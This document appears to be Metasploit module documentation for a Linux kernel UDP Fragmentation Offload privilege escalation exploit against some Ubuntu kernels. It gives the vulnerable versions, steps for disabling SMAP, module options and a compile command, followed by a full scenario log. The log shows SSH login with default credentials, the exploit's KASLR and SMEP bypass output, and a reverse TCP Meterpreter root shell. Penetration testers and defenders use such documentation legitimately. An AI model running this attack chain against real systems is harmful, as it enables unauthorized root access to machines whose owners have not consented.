## Vulnerable Application

This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO).
  
The bug was initially introduced in October 2005 and patched in September 2017, potentially affecting a large
number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 
4.4.0-21 <= 4.4.0-89 (Trusty), and 4.4.0-81 <= 4.8.0-58 (Xenial), including Linux distros based on Ubuntu
such as Linux Mint.

### Disabling SMAP

[Original Instructions](https://github.com/rapid7/metasploit-framework/pull/9884#issuecomment-389607805)

To disable `SMAP` on a system, edit `/etc/default/grub` and add `nosmap` to the `GRUB_CMDLINE_LINUX_DEFAULT` line.
Next, `sudo update-grub`, and reboot.

To verify SMAP has been disabled, `grep smap /proc/cpuinfo` and nothing should be returned.

## Verification Steps

  1. Start msfconsole
  2. Get a shell on a vulnerable box
  3. Do: ```use exploit/linux/local/ufo_privilege_escalation```
  4. Do: ```set session [#]```
  5. Do: ```run```
  6. You should get a root shell.

## Options

### WritableDir

  A folder we can write files to.  Defaults to /tmp

### COMPILE
  
  If we should live compile on the system, or drop pre-created binaries.  Auto will determine if gcc/libs are installed to compile live on the system.  Defaults to Auto

## Compiled Executables

The module makes use of a pre-compiled exploit executable to be
used when `gcc` is not available on the target host for live compiling,
or `COMPILE` is set to `False`.

The executable was cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar).

```bash
./x86_64-linux-musl-gcc -o exploit.out -pie -static exploit.c
```

## Scenarios

### Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop

#### Initial Access

```
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
resource (ubuntu.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (ubuntu.rb)> set username ubuntu
username => ubuntu
resource (ubuntu.rb)> set password ubuntu
password => ubuntu
resource (ubuntu.rb)> exploit
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) Linux ubuntu-desktop-14 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:45819 -> 2.2.2.2:22) at 2018-04-03 20:58:32 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

#### Escalate

In this scenario, gcc is installed so we can live compile on the system.

```
msf auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation 
msf exploit(linux/local/ufo_privilege_escalation) > set verbose true
verbose => true
msf exploit(linux/local/ufo_privilege_escalation) > set session 1
session => 1
msf exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf exploit(linux/local/ufo_privilege_escalation) > exploit

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444 
[+] Linux kernel version 4.4.0-31-generic is vulnerable
[*] Checking if SMAP is enabled ...
[+] SMAP is not enabled
[+] System architecture x86_64 is supported
[+] Unprivileged user namespaces are permitted
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.4UnI1EFL.c' (28356 bytes) ...
[*] Max line length is 65537
[*] Writing 28356 bytes in 2 chunks of 57414 bytes (octal-encoded), using printf
[*] Next chunk is 43454 bytes
[*] Writing '/tmp/.S6G2g9rnUj' (207 bytes) ...
[*] Max line length is 65537
[*] Writing 207 bytes in 1 chunks of 629 bytes (octal-encoded), using printf
[*] Launching exploit ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes) to 2.2.2.2
[*] [.] starting
[*] [.] checking kernel version
[*] [.] kernel version '4.4.0-31-generic' detected
[*] [~] done, version looks good
[*] [.] checking SMEP and SMAP
[*] [~] done, looks good
[*] [.] setting up namespace sandbox
[*] [~] done, namespace sandbox set up
[*] [.] KASLR bypass enabled, getting kernel addr
[*] [.] trying /proc/kallsyms...
[*] [.] trying /boot/System.map-4.4.0-31-generic...
[*] [-] open/read(/boot/System.map-4.4.0-31-generic)
[*] [.] trying syslog...
[*] [~] done, kernel addr:   ffffffff81000000
[*] [.] commit_creds:        ffffffff8109d760
[*] [.] prepare_kernel_cred: ffffffff8109da40
[*] [.] SMEP bypass enabled, mmapping fake stack
[*] [~] done, fake stack mmapped
[*] [.] executing payload ffffffff8104516a
[*] [~] done, should be root now
[*] [.] checking if we got root
[*] [+] got r00t ^_^
[*] Cleaning up /tmp/.S6G2g9rnUj and /tmp/.4UnI1EFL ...
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:60474) at 2018-07-21 13:35:49 -0400

meterpreter > sysinfo
Computer     : 2.2.2.2
OS           : Ubuntu 14.04 (Linux 4.4.0-31-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 
```
